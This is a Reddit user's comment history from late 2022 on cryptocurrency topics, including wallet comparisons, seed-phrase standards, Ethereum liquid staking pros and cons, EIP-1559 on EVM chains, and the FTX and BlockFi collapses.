Partnered with MyEtherWallet (MEW)? * A bit slow, like a UTXO wallet. Seems to be doing a price lookup after most actions. * Also supports Bitcoin network ####**Trust Wallet and Exodus** I briefly looked at these 2 but didn't continue because their features were very limited. **TrustWallet** (Chrome extension): The UI has extremely-limited options. Only supports a very-limited 4 networks and 2 outdated testnets. Works very similar to Metamask. Shows about the same amount of details for transaction requests as Metamask. **Exodus** (Chrome extension): Pretty UI. Friendly and easy to use for retail users. Easy to buy and sell popular tokens and cryptocurrencies. Only connects to a dozen different networks and no testnets. Works poorly with complex dApps because it doesn't provide enough details about what the transaction is doing.

Commented by /u/Maleficent_Plankton in /r/ethereum on December 2, 2022 00:31:51
/r/ethfinance/comments/z9g4st/daily_general_discussion_december_1_2022/iyl1oqv/

I had a question about the name, but someone else already answered it beautifully: https://twitter.com/VaudevilleVet/status/1598440909720674305

Commented by /u/Maleficent_Plankton in /r/ethfinance on December 1, 2022 23:23:34
/r/CryptoCurrency/comments/z9x67t/money_bitcoin_and_time_part_3_of_3/iykvwda/

If the author is going to bring up economics and scarcity, I'm going to go by the economics definition by it: > Scarcity happens when the demand for a natural resource, product or service exceeds the supply. Just because something has a limited supply does not mean it's scarce, like FTT.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 1, 2022 22:34:29
/r/CryptoCurrency/comments/za2ltf/top_5_metamask_alternatives_for_those_who_dont/iykbw17/

His 1st choice is Trust Wallet, it tracks your IP: https://trustwallet.com/privacy-policy/ The other 4 are no-name wallets.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 1, 2022 19:57:37
/r/CryptoCurrency/comments/z9z13q/all_vs_btc_which_cryptos_did_bestworst_against/iyjh0mx/

An exchange token for Bitfinex, the guys behind Tether. I wouldn't trust it any more than FTT.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 1, 2022 16:16:05
/r/CryptoCurrencyMeta/comments/z9q6l1/do_you_want_mods_to_limit_sbfftx_content_perhaps/iyj2dzm/

Our governance process takes weeks. By the time this governance could be passed, the topic will already have waned.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrencyMeta on December 1, 2022 14:43:55
/r/ethereum/comments/z9mnzw/without_the_erc721_standard_there_wouldnt_have/iyi3dz4/

What's the difference? Isn't a common interface just a type of framework with a programming definition?

Commented by /u/Maleficent_Plankton in /r/ethereum on December 1, 2022 10:55:22
/r/ethereum/comments/z9b3yq/wallet_that_supports_multiple_coins/iyi24gl/

I dunno. I thought it was trash. It only supports 4 networks and limited settings.

Commented by /u/Maleficent_Plankton in /r/ethereum on December 1, 2022 10:46:54
/r/ethereum/comments/z9b3yq/wallet_that_supports_multiple_coins/iyi1t6p/

Nearly all Bitcoin-related and Ethereum/EVM-related wallets accept 12-word BIP-39, which is a blockchain-agnostic standard for seed phrases. A smaller number of them accept 24-word seed phrases. BIP-39 itself doesn't specify that the number of words has to be 12 or 24; it's just something wallet designers have stuck with. With that BIP-39 seed phrase, the wallets then derive blockchain-specific private keys, which are in turn used to generate public keys/addresses. (Though there are some odd networks like Cardano whose wallets don't support BIP-39.) Coinbase, Enkrypt, and Exodus are BIP-39 wallets that can connect to most of the popular networks.

Commented by /u/Maleficent_Plankton in /r/ethereum on December 1, 2022 10:44:44
/r/ethereum/comments/z9b3yq/wallet_that_supports_multiple_coins/iyhx3nj/

What about the Ethereum half of the question? Ethereum and most EVM networks also have 12 and 24 word seeds. Metamask uses BIP-39 too with an account derivation path of 0/0/x.

Commented by /u/Maleficent_Plankton in /r/ethereum on December 1, 2022 10:12:08
/r/ethereum/comments/z9mnzw/without_the_erc721_standard_there_wouldnt_have/iyhwijd/

Right. ERC-721 may have popularized NFTs, but it's just a contract framework for one category of NFT contracts. You don't need a framework to make a token.

Commented by /u/Maleficent_Plankton in /r/ethereum on December 1, 2022 10:07:57
/r/CryptoCurrency/comments/z9on7q/bitcoins_last_stand_ecbs_misguided_take_on/iyht75t/

> Wrong. Bitcoin transactions are easy, fast, and virtually free. Who wrote this garbage article?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 1, 2022 09:43:27
/r/CryptoCurrency/comments/z98zi9/axie_infinity_is_toxic_for_crypto_gaming/iyfo8em/

Did Niantic's Ingress ever make money? It ran for free for years before I stopped following it.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 30, 2022 20:15:05
/r/CryptoCurrency/comments/z98zi9/axie_infinity_is_toxic_for_crypto_gaming/iyfl9dq/

Besides Dark Forest, are there any other crypto games designed purely for enjoyment or research and not monetization? Any fun F2P games on testnets?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 30, 2022 19:51:41
/r/CryptoCurrency/comments/z934iu/about_brazils_digital_assets_law_summary_and_some/iyermwt/

Sounds quite reasonable. I'm assuming the part about Bitcoin being singled out as a currency is covered in a different law? Seemed a bit odd for them to pick a cryptocurrency that works poorly as a currency instead one of the faster and cheaper digital assets.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 30, 2022 16:16:31
/r/CryptoCurrency/comments/z8vfmv/finally_uk_and_european_residents_get_another/iyeh4aa/

They even have their own shitcoin: UNBNK

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 30, 2022 15:09:27
/r/CryptoCurrency/comments/z8vfmv/finally_uk_and_european_residents_get_another/iyegopn/

> including BTC, ETH, UNI, XLM, and **UNBNK** I see they created their own shitcoin. Hehe.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 30, 2022 15:06:43
/r/CryptoCurrency/comments/z8ylum/bitcoin_rarely_used_for_legal_transactions_on/iye0k4r/

Well then, they should be encouraging fast-finality, low-fee altcoins

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 30, 2022 13:23:19
/r/CryptoCurrency/comments/z8x6a7/help_me_understand_smart_contracts/iydw83s/

Absolutely not without a service provider that creates a fiat offramp. 1. Smart contracts can't trigger by themselves. An EOA account (non-contract) must initiate each transaction. 1. You need a service provider to exchange the on-chain token with fiat to the traditional bank.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 30, 2022 12:55:51
/r/CryptoCurrency/comments/z8r7ry/cryptocurrency_as_payments_in_brazil_not_exactly/iyddguc/

Thanks OP. That's sounds like a much more rational and practical take from a central bank.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 30, 2022 10:54:10
/r/CryptoCurrency/comments/z8o5ta/brazil_approves_cryptocurrency_bill_recognizing/iydcxwo/

> Brazilians can use Bitcoin as a payment method, while digital assets will be recognized as an investment asset class. No other details on the technical implementation. I'm guessing through centralized 3rd party software or through the Lightning network since L1 Bitcoin is horrible as a Medium of Exchange.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 30, 2022 10:50:41
/r/CryptoCurrency/comments/z8rn7s/bitcoin_is_on_the_road_to_irrelevance_warns/iydbhro/

They are technically correct, but they are ignoring its use as ~~an extremely volatile Store of Value and~~ a casino.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 30, 2022 10:40:58
/r/CryptoCurrency/comments/z8rn7s/bitcoin_is_on_the_road_to_irrelevance_warns/iydavzb/

They specifically targeted Bitcoin as a failure as a Medium of Exchange. Didn't say anything about other cryptocurrencies. So yeah.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 30, 2022 10:36:54
/r/CryptoCurrency/comments/z8c35k/brazil_approves_bill_regulating_use_of_bitcoin_as/iybnxf0/

Good for Ethereum too. It just gained 2x of Bitcoin's gains.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 29, 2022 23:50:11
/r/ethfinance/comments/z7l5p0/daily_general_discussion_november_29_2022/iybay25/

There are so many EVM-compatible networks that have picked up the London update for EIP-1559. **It might be shorter to list the EVM-chains that don't have EIP-1559.** Some work slightly differently with the gas limit. BSC has a 120M gas target per block. Polygon PoS seems to have a moving gas target between 10-15M per block instead of a fixed 15M target. Avalanche C-Chain gas uses a target of 15M per 10 seconds. Moonbeam, Fantom also have EIP-1559. The big difference between most of these networks and Ethereum is that Ethereum L1 has high enough gas fees and usage where you can't spam the network. Even a tiny 1.1x increase in daily gas usage on Ethereum will see Tx prices shoot up to $1M in a week or so. For the others, you can easily increase gas usage by 5-20x before you start seeing fees skyrocket uncontrollably.

Commented by /u/Maleficent_Plankton in /r/ethfinance on November 29, 2022 21:59:25
/r/CryptoCurrency/comments/z840un/us12_million_stolen_from_chivo_wallet_in_el/iy9ndbb/

There were lots of stories about local gangs creating fake accounts and stealing tons BTC from the buggy app. The app completely failed at KYC and allowed almost anyone to fake an account.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 29, 2022 15:00:08
/r/CryptoCurrency/comments/z7zlvj/miamis_mayor_franciz_suarez_says_hes_still_taking/iy9mc5k/

He's a multi-millionaire who gets plenty of donations. He'll be fine.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 29, 2022 14:53:51
/r/CryptoCurrency/comments/z839ig/ftx_tos_very_clear_all_digital_assets_were_to_be/iy9lam6/

Proof that no one reads ToS agreements, not even the owners.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 29, 2022 14:47:13
/r/CryptoCurrency/comments/z80cyb/coinbase_wallet_will_stop_supporting_bch_etc_xlm/iy9kq15/

Because Solana is EVM and it's easy to support multiple EVM networks since they're similar. All the ones they're dropping have very dissimilar network designs. Probably too much upkeep to maintain them.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 29, 2022 14:43:34
/r/CryptoCurrency/comments/z80cyb/coinbase_wallet_will_stop_supporting_bch_etc_xlm/iy9kerw/

This is completely normal. What's weird is that they even supported that many networks in the first place in a DeFi wallet. It's a lot of upkeep since each network works differently and needs RPCs and liqudity for each swap pair. I've used the Coinbase Wallet for dev testing, and it's one of the most fully-featured wallets I've come across. It's very rare to see a wallet accept so many dissimilar networks. Usually they support only EVM-networks. Or just a few plus Bitcoin.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 29, 2022 14:41:41
/r/CryptoCurrency/comments/z80cyb/coinbase_wallet_will_stop_supporting_bch_etc_xlm/iy9jlz5/

This exactly. I've used the Coinbase Wallet for dev testing, and it's one of the most fully-featured wallets I've come across. It's very rare to see a wallet accept so many dissimilar networks. Usually they support only EVM-networks. Or just a few plus Bitcoin. It's a lot of upkeep.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 29, 2022 14:36:42
/r/CryptoCurrency/comments/z80rad/ethereum_is_a_con_defi_is_fake_and_bitcoin_will/iy9iv14/

The Dunnig Kruger runs strong in this man

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 29, 2022 14:31:50
/r/CryptoCurrency/comments/z818uc/why_do_i_need_to_keep_a_hardware_wallet/iy9i4yt/

**Paper wallet**: Enter the seed once on the software wallet. Software wallet stores the private key (and sometimes the seed) and approves of all transaction requests. **Hardware wallet**: Seed and private keys stays on the hardware. Hardware wallet approves of all transaction requests from the connected software wallet. The entire purpose is to air gap the seed and private keys.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 29, 2022 14:27:02
/r/CryptoCurrency/comments/z74scn/singapore_requires_banks_to_hold_125_for_every/iy8nyzw/

Article doesn't clarify that. Only says based on exposure.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 29, 2022 11:07:57
/r/CryptoCurrency/comments/z7xidv/right_now_bringing_down_the_biggest_moneygrabbing/iy8nrbp/

I just downvote most posts about them (not this one). Most posts about them are low-effort **ragebait**, the worst types of clickbait.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 29, 2022 11:06:29
/r/ethereum/comments/z7uv3l/ethereum_layer_2_network_gas_usage_hits_record/iy8gyhh/

This report needs to be fact checked. 100B gas is used daily. This report makes no sense.

Commented by /u/Maleficent_Plankton in /r/ethereum on November 29, 2022 10:18:57
/r/CryptoCurrency/comments/z7wb6p/investing_in_crypto_nodes/iy8g0b2/

They're unrelated. You need to know how the other party is making money, what their risks are, among a dozen other basic questions. If the node is staking, why not just stake?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 29, 2022 10:12:01
/r/CryptoCurrency/comments/z7wb6p/investing_in_crypto_nodes/iy8ff79/

If you're asking these questions here, you're not ready to run a node. Also, that investment opportunity looks sus.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 29, 2022 10:07:43
/r/CryptoCurrency/comments/z7wfky/onchain_data_suggests_retail_is_buying_the_hell/iy8fa38/

We're just doing our jobs as bag holders

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 29, 2022 10:06:40
/r/CryptoCurrency/comments/z74scn/singapore_requires_banks_to_hold_125_for_every/iy8eoer/

Not really. It's incredibly impractical. Worse than just requiring them to actually hold the Bitcoin in custody for customers. It's different than saying they need 125% collateral. This is going to be hard to keep during a bull market. They're going to have to find additional funds even if they don't acquire new Bitcoin. It's not scalable.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 29, 2022 10:02:09
/r/CryptoCurrency/comments/z74scn/singapore_requires_banks_to_hold_125_for_every/iy8e618/

This is going to be hard to execute during a bull market. They're going to have to find additional funds even if they don't acquire new Bitcoin. This is a much less practical law than just requiring them to actually hold the Bitcoin in custody for customers.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 29, 2022 09:58:20
/r/CryptoCurrency/comments/z7t53h/what_makes_you_believe_another_bull_run_will_come/iy8d8zw/

I think there might be one last major pump once regulation is solidified. There are lots of people with **401K accounts** who are willing to experiment by putting 5% of their accounts in a crypto fund if that fund is regular and safe for retail customers.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 29, 2022 09:51:34
/r/CryptoCurrency/comments/z7sly1/bitcoincom_announces_strategic_partnership_with/iy8ceu9/

ITT: People confusing Poly Network with Polygon.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 29, 2022 09:45:18
/r/CryptoCurrency/comments/z7q0x2/bitboy_investor_kevin_oleary_is_behind_celcius/iy8c219/

Please just let him die in obscurity. Giving him any attention is what he wants.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 29, 2022 09:42:36
/r/CryptoCurrency/comments/z7tz99/congratulations_if_you_are_still_here_to_survive/iy8bstu/

Dodged all 6. Even made a profit on CRO before it dumped. But the slow declining ones like ADA, AVAX, and ALGO got me. Lack of mainstream utility is killing those platforms.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 29, 2022 09:40:39
/r/CryptoCurrency/comments/z7v7a2/in_3_years_some_of_us_will_have_a_big_chunk_of/iy8b24p/

Yep. If you don't cash out at least partially during the next pump, then you haven't learned anything from this pump cycle.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 29, 2022 09:34:58
/r/CryptoCurrency/comments/z7qwvc/ftx_reportedly_used_alamedas_bank_accounts_to/iy8akuw/

Weird. This was already reported 2 weeks ago by multiple websites. And we even knew they operated out of the same HK offfice. Not sure why cointelegraph reprinting this again.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 29, 2022 09:31:12
/r/CryptoCurrencyMoons/comments/z7s87e/how_do_you_get_eth_for_arbitum_nova/iy89389/

It's literally the same website as the Arbitrum One bridge. In the dropdown, select Mainnet and switch to Arbitrum Nova. There are a ton of guides on this already.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrencyMoons on November 29, 2022 09:19:33
/r/CointestOfficial/comments/x5mum6/general_concepts_liquid_staking_conarguments/iy7ecy8/

Honestly, there aren't many CONs to liquid staking. When comparing having liquid staking vs **not** having liquid staking, it's always better to have to **extra option**. I suppose you can find some if you move the goalposts. For example, liquid staking is worse than completely different protocols on different blockchains like non-permissioned DPoS (i.e. LPoS) where staking is on-chain, built into blockchain protocol, non-custodial, and very decentralized. But those options are not available to Ethereum, which is where liquid staking applies. But if we're only comparing within the Ethereum ecosystem, there are only a few CONs: ####**Less decentralized than running your own node** If you have 32 ETH (or 16 ETH if running a Rocket Pool minipool), have technical aptitude, own an Intel NUC or Raspberry Pi 4 (with 16GB of mem, 2TB NVMe drive), and have no Internet bandwidth cap, you can run your own node. You assume all responsibilities, but you also contribute to the decentralization of Ethereum. Holding cbETH or BETH completely gives Coinbase and Binance your block proposal and validation rights. Even for Lido Finance, you're giving away your staking rights to ~30 separate validators. But there are options like rETH liquid staking which is decentralized because it uses minipools run by individuals. ####**Selling liquid staking tokens can incur a loss compared to ETH** Currently cbETH and BETH (but not stETH or rETH) are trading at a discount compared to ETH on open markets. This makes little finance sense since they should have a premium if it weren't for the risk. I suspect people are simply reducing their risk and leaving exchanges after 1) the OFAC action against Tornado cash and 2) the collapse of FTX. Whatever the case, any selling liquid staking token are losing out in both value and unrealized staking rewards. However, if they hold onto their tokens, liquid staking tokens can provide huge gains compared to staking ETH as that risk eventually disappears when unstaking is available. For example, if you check CoinGecko, the value of cbETH has already risen the equivalent of 25% APY compared to ETH in just 3 months. This is way more interest than even running a solo staking node with MEV boost. ####**Contract risk** stETH and rETH protocols are run through smart contracts. If there is a bug in those contracts, all value can be lost.

Commented by /u/Maleficent_Plankton in /r/CointestOfficial on November 29, 2022 03:10:18
/r/CointestOfficial/comments/x5mulj/general_concepts_liquid_staking_proarguments/iy7bw3m/

##**The different methods of staking and liquid staking on Ethereum** Liquid staking mainly applies only to Ethereum. That's because it's the only network where stakes for PoS are locked up long-term. Stakes and their rewards are stuck on the Beacon chain until the Shanghai update containing [EIP-4895](https://eips.ethereum.org/EIPS/eip-4895) is released (early 2023). The only way to withdraw from the Beacon chain is to convert staked Ethereum into liquid staking tokens. ####**Methods of staking**: * **Solo node**: Decentralized. Requires you to supply your own ETH AND run your own 32 ETH node, propose blocks, and validate the blockchain. You assume your own risk. * **Minipool operator**: Decentralized. Same as Solo, except you also pool with liquid stakers. They supply some of the ETH, and you supply the rest. This is split 16 ETH-16 ETH for Rocket Pool. * **Liquid staking**: Non-custodial. You provide ETH to a node validator. They give you back a liquid token worth equal value to the ETH you provided **plus** the ongoing rewards. You can then trade the token on the open market or accrue value by holding onto it. Can also be combined with minipool operators. Less risk. * **Custodial staking**: Centralized. This is when you give your ETH to an exchange, and they stake it for you. ####**[Well-known non-solo staking entities](https://beaconcha.in/pools)**: * **Lido**: Liquid staking via stETH * **Coinbase**: Centralized & liquid staking via cbETH * **Kraken**: Centralized * **Binance**: Centralized and liquid staking via BETH * **Rocket Pool**: Decentralized minipool and liquid staking via rETH ##**PROs of Liquid Staking** ####**Offers the freedom to withdraw from Ethereum staking** The is the biggest reason liquid staking exists. Without liquid staking, retail customers would be stuck with their staked ETH until the Shanghai update. This also reduces the risk of holding staked ETH. If something happens to the platform staking the ETH or to your personal financial situation, you can exit and withdraw the value of your ETH in open markets. ####**Offers major arbitrage opportunities** With the exception of stETH (which matches the price of ETH, rebasing the balance once daily), most liquid staking tokens represent the value of the **sum** of the deposited ETH plus its earned consensus-layer (CL) rewards (i.e. attestations, block proposer rewards, sync committee rewards) and execution-layer (EL) rewards (i.e. fees and MEV). The value of the liquid staking token should rise over time both by protocol and due to reduced risk. This offers many arbitrage opportunities. **rETH currently has a premium** over the official pool distribution value of rETH because everyone wants to join it and there aren't enough minipool operators. You could sell rETH for a nice profit and then stake elsewhere. **cbETH and bETH currently have a large discount** to the price of ETH when they should have a premium. It's probably a combination of: 1. Retail customers not understanding the value of their liquidity token 1. Recent FUD and distaste over holding tokens in CEXs 1. Risk management Because of this discount it makes no sense to buy ETH and stake on those exchanges. Instead, there's an arbitrage opportunity in buying liquid ETH and holding it until it can be traded for unstaked ETH. **High gains**: Whoever bought liquid cbETH in early September made the equivalent of 25% annualized gains vs ETH in 3 months, which is much higher than centralized staking interest and even more than solo staking interest with MEV boost. Whoever bought rETH last December made the equivalent of 8% annualized gains vs ETH, which much higher than centralized staking interest. These prices are expected to keep increasing as we get closer to the unstaking update and risk decreases. ####**Allows you to participate in decentralization of staking pools without needing to run a node** Not everyone has 32 ETH or the knowledge, hardware, and bandwidth requirements to run a validation node. But they still want to stake while maintaining as much decentralization as they can. **Rocket Pool** allows liquid stakers to join with decentralized minipool operators to create small 32-ETH validation nodes. This is done on-chain using smart contracts, and it increases decentralization away from the larger pools.

Commented by /u/Maleficent_Plankton in /r/CointestOfficial on November 29, 2022 02:36:24
/r/CryptoCurrency/comments/z71geh/blockfi_has_shut_down_their_subreddit/iy5ol9l/

You will be missed, /u/Brandon_BlockFi One of the few heroes that stuck with the community through the years.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 28, 2022 17:56:13
/r/CryptoCurrency/comments/z7362i/the_original_bitcoin_whitepaper_is_pretty_short_8/iy5evze/

My whitepaper was actually describing Monero. - Satoshi

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 28, 2022 16:48:22
/r/CryptoCurrency/comments/z78q5e/andre_cronje_on_whats_it_like_to_be_a_crypto/iy5dxpr/

It's surprising to finally hear this kind of admission from a blockchain's former lead architect instead of from the critics.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 28, 2022 16:42:05
/r/CryptoCurrency/comments/z78q5e/andre_cronje_on_whats_it_like_to_be_a_crypto/iy5d4y9/

Interesting how the article calls the Fantom Foundation a crypto firm and portrays it as a for-profit company whose revenue is from selling tokens. I'm not disagreeing.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 28, 2022 16:36:52
/r/CryptoCurrency/comments/z6zbm2/blockfi_files_for_chapter_11_bankruptcy/iy49fxn/

Back in Feb, the SEC charged them with failing to register and they settled. IANAL, but that sounds like the SEC initiated it.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 28, 2022 12:16:19
/r/CryptoCurrency/comments/z6zbm2/blockfi_files_for_chapter_11_bankruptcy/iy41yr5/

I'm actually thankful the SEC sued BlockFi back on March. That settlement stopped non-accredited customers from adding more funds into the lending program. Sure the SEC could've done more. But if it weren't for that action, I wouldn't have left BlockFi and Celsius before the Luna collapse. That was the action that prompted both of them to stop accepting more US customer funds.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 28, 2022 11:25:46
/r/CryptoCurrency/comments/z6zbm2/blockfi_files_for_chapter_11_bankruptcy/iy40mjw/

To be fair, the SEC sued BlockFi and shut down new investments in a settlement (for non-accredited retail customers) back in March 2022. That saved a lot of customers.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 28, 2022 11:16:24
/r/CryptoCurrency/comments/z6zjzp/binance_ceo_explains_127k_btc_transfer_points_at/iy3vs8v/

Armchair analysts don't understand that Bitcoin wallets have an infinite number of UTXO addresses, and you create a new UTXO addresses whenever you transfer to yourself.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 28, 2022 10:42:10
/r/CointestOfficial/comments/z66oqj/general_concepts_topics_discussion_november_27/iy3v30a/

Some ideas for topics. Many of these General Concepts topics don't really work well with the PROs and CONs setup though. Not sure if you guys are flexible. **Works with Pros and Cons, but could also be combined into 1** - High Gas Fees - Tokens Standards (e.g. vs native tokens) - Trustless protocols (are they really trustless or safe?) **Doesn't work well with Pros and Cons** I've noticed a lot of general concepts topics don't work well with Pros/Cons. There are multiple sides, and lot of the discussion falls are neutral instead of positive/negative. - Finality: Probabilistic, Deterministic, and Hybrid - Scams - Common types of - Side Chains vs Rollups vs State Channels - Sybil Resistance model: PoW vs PoS vs DPoS vs LPoS - Throughput metrics

Commented by /u/Maleficent_Plankton in /r/CointestOfficial on November 28, 2022 10:37:11
/r/ethereum/comments/z6t8tf/aave_pauses_lending_markets_for_17_ethereumbased/iy3jyka/

Are you serious? That's a perfectly good title. This isn't r/CC.

Commented by /u/Maleficent_Plankton in /r/ethereum on November 28, 2022 09:11:42
/r/CryptoCurrency/comments/z6r1wq/unexpected_death_of_the_creator_of_bitcoin/iy2rov0/

He's the founder of cryptocurrency company Amber Group. That's it. Nothing related to Bitcoin.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 28, 2022 03:28:04
/r/CryptoCurrency/comments/z6dnrp/what_are_the_best_black_friday_cyber_monday_deals/iy2rebv/

It's both tax software and account balance tracking software that gathers info either through 1) read-only APIs or 2) transaction exports from your crypto accounts Makes it really easy to figure out your cost basis. Only the tax report part costs money.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 28, 2022 03:23:44
/r/CryptoCurrency/comments/z68zsp/algorands_second_annual_gathering_called_decipher/iy1k2uh/

We won't know until after 2030 if it can last after that. That's when all the rewards run out and no one gets paid anymore. Many of the dev and liquidity projects are being paid to stay through the governance incentives.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 27, 2022 20:15:13
/r/CryptoCurrency/comments/z68zsp/algorands_second_annual_gathering_called_decipher/iy1jhzi/

Algorand has a Layer 0 decentealization issue. Everything including rewards distribution depends on the Foundation.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 27, 2022 20:10:32
/r/CryptoCurrency/comments/z68zsp/algorands_second_annual_gathering_called_decipher/iy1j4vx/

Most newer cryptocurrencies are quantum resistant. Just because NIST didn't pick their protocol doesn't mean they aren't. Many like Ethereum's encryption protocols are based on former winners of NIST contests.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 27, 2022 20:07:35
/r/CryptoCurrency/comments/z6581y/bitcoin_is_good_for_power_grid_governor_of_texas/iy1i8hb/

Sounds about right. I had a 1500W space heater, and the heat wouldn't last in a single bedroom unless the fan were blowing straight at me. No way I could use that for a whole house.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 27, 2022 20:00:14
/r/CryptoCurrency/comments/z670aw/bitcoin_core_24_bitcoins_controversial_upgrade_is/ixzpvch/

Nothing really. It just gets full RBF and this about as boring as it gets for an update. The "controversial" is absolute clickbait that one person mentioned and everyone else shot him down.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 27, 2022 12:37:02
/r/CryptoCurrency/comments/z670aw/bitcoin_core_24_bitcoins_controversial_upgrade_is/ixzplyg/

What a bullshit title. It's not controversial. What's actually controversial is zero-confirmation transactions, and no one is using that because they're completely unsafe. The "controversial" part is clickbait. > When asked to provide proof of RBF double-spending, Carvalho cited zero confirmation transactions provided incentives to protect the network from a potential Sybil attack. Nearly the whole community voted NO to his argument, with most members detailing zero-confirmation transactions were unsafe, and were only profitable to merchants for a limited time.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 27, 2022 12:35:17
/r/CryptoCurrency/comments/z5z3t7/my_father_asked_me_today_how_has_cryptocurrency/ixzjysg/

Yep. So many different countries are rolling out fast payment systems now. Within 5 years, every country is going to have free instant transfers instead of the usual 3-day ACH transfers.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 27, 2022 11:56:27
/r/CryptoCurrency/comments/z61n96/bitboy_traveled_to_the_bahamas_to_hunt_down_sam/ixzit5n/

Oh god. I did not need to view that last image. Cannot unsee. This is not going to get him more views.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 27, 2022 11:48:32
/r/ethdev/comments/z5vi9k/why_is_goerli_so_congested_compared_to_sepolia/ixzgvbn/

https://www.studying-in-germany.org/learn-german/german-umlauts I'm leaning towards "girly". Would need a German to confirm.

Commented by /u/Maleficent_Plankton in /r/ethdev on November 27, 2022 11:34:56
/r/CryptoCurrency/comments/z60z2n/charles_hoskinson_says_failed_cardano_stablecoin/ixzf0to/

The lockup thing is a problem with PoS vs DPoS/LPoS. I too wish that Ethereum used LPoS. Cardano has its own lock-up problems with its UTXO model: You have to post 5 ADA collateral for using NFTs. You have to lock a small amount of ADA for holding tokens. Unfortunately, high fees will always be a thing on L1 Ethereum. But it's necessary to have a fee market if you want to avoid DDoS attacks when throughput is low and ledger space is expensive. Cardano transactions are actually larger than Ethereum transactions, but they subsidize costs with the rewards pool.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 27, 2022 11:21:34
/r/ethdev/comments/z5pzod/alternatives_to_infura_and_metamask/ixz0x19/

I've never used it. What's good about it for devs?

Commented by /u/Maleficent_Plankton in /r/ethdev on November 27, 2022 09:32:46
/r/GodsUnchained/comments/z3k4qx/fyi_metamask_will_now_collect_your_ip_address/ixycfmi/

Tracks IP, GPS, and lots of device info: https://decrypt.co/101133/gamestop-rolls-out-metamask-like-ethereum-wallet-to-support-nft-marketplace https://wallet.gamestop.com/privacy

Commented by /u/Maleficent_Plankton in /r/GodsUnchained on November 27, 2022 04:37:32
/r/GodsUnchained/comments/z3k4qx/fyi_metamask_will_now_collect_your_ip_address/ixyce9k/

That's correct. I can't believe you got downvoted so much for this. Tracks IP, GPS, and lots of device info: https://decrypt.co/101133/gamestop-rolls-out-metamask-like-ethereum-wallet-to-support-nft-marketplace https://wallet.gamestop.com/privacy

Commented by /u/Maleficent_Plankton in /r/GodsUnchained on November 27, 2022 04:37:02
/r/GodsUnchained/comments/z3k4qx/fyi_metamask_will_now_collect_your_ip_address/ixycd1e/

Tracks IP, GPS, and lots of device info: https://decrypt.co/101133/gamestop-rolls-out-metamask-like-ethereum-wallet-to-support-nft-marketplace https://wallet.gamestop.com/privacy

Commented by /u/Maleficent_Plankton in /r/GodsUnchained on November 27, 2022 04:36:31
/r/CryptoCurrency/comments/z55m9p/programming_languages_prevent_mainstream_defi/ixxiaji/

Solidity is fine. Easy to write, strongly-typed, and has default values for everything. I'd go insane if had to use either Haskell or Python, and I have developed using Python before.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 26, 2022 22:40:35
/r/CryptoCurrency/comments/z5pnx7/eth_internal_transaction/ixxf35s/

That's perfectly normal and how Coinbase does batch transfers. See https://np.reddit.com/r/ethereum/comments/z0x175/transactions_vs_internal_txns Check your receiving address on the Etherscan. It should be there under the Internal Transactions tab.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on November 26, 2022 22:13:11
